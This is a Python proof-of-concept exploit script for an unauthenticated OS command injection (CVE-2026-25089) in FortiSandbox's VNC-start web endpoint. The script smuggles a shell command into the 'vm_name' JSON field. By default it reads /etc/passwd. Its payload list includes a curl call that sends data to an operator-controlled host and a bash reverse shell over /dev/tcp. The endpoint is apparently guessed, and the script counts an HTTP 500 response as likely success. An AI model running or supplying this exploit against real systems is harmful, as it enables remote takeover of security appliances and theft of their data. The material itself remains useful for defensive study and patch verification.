#!/usr/bin/env python3
"""
CVE-2026-25089 - Fortinet FortiSandbox OS Command Injection
Unauthenticated Remote Code Execution via "start VNC" JSON endpoint

Author: Ashraf Zaryouh (0xBlackash)
GitHub: https://github.com/0xBlackash
Date: June 2026

Description:
    Improper neutralization of special elements in OS command (CWE-78)
    in the FortiSandbox Web UI "start VNC" feature.

Affected Versions:
    FortiSandbox 4.2.x, 4.4.0 - 4.4.8, 5.0.0 - 5.0.5
    (Cloud & PaaS variants also affected)

Fixed in: 4.4.9+, 5.0.6+

Tested on: FortiSandbox 4.4.6 / 5.0.4
"""

import argparse
import json
import requests
import sys
import urllib3
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("""
╔══════════════════════════════════════════════════════════════════════╗
║                CVE-2026-25089 FortiSandbox RCE PoC                   ║
║                  Author: Ashraf Zaryouh (0xBlackash)                 ║
╚══════════════════════════════════════════════════════════════════════╝
    """)

def exploit(target, cmd, vnc_port=5900):
    url = urljoin(target, "/api/vnc/start")  # Common endpoint for start VNC
    
    # Malicious payload - command injection via vm_name
    payload = {
        "vm_name": f"test-vm; {cmd} #",
        "vnc_port": vnc_port,
        "extra": ""
    }

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (compatible; FortiSandbox PoC - 0xBlackash)"
    }

    try:
        print(f"[+] Sending exploit to {url}")
        print(f"[+] Injected Command: {cmd}")
        
        r = requests.post(url, json=payload, headers=headers, verify=False, timeout=15)
        
        print(f"[+] HTTP Status: {r.status_code}")
        if r.text:
            print(f"[+] Response: {r.text[:500]}...")
        
        if r.status_code in [200, 500]:
            print("[+] Target appears vulnerable (possible command execution)")
        else:
            print("[-] Unexpected response code")
            
    except Exception as e:
        print(f"[-] Request failed: {e}")

def main():
    banner()
    
    parser = argparse.ArgumentParser(description="CVE-2026-25089 PoC by 0xBlackash")
    parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100:8080)")
    parser.add_argument("-c", "--command", default="id; whoami; cat /etc/passwd", 
                        help="Command to execute (default: id; whoami; cat /etc/passwd)")
    parser.add_argument("-p", "--port", type=int, default=5900, help="VNC port (default: 5900)")
    parser.add_argument("--list", action="store_true", help="Show common useful payloads")
    
    args = parser.parse_args()

    if args.list:
        print("\nCommon Payloads:")
        print("  id; whoami")
        print("  cat /etc/passwd")
        print("  curl http://your-ip:4444/$(whoami)")
        print("  bash -i >& /dev/tcp/your-ip/4444 0>&1")
        sys.exit(0)

    exploit(args.target.rstrip("/"), args.command, args.port)
    
    print("\n[!] For educational and authorized testing purposes only.")
    print("[!] Patch immediately to FortiSandbox 5.0.6 / 4.4.9+")

if __name__ == "__main__":
    main()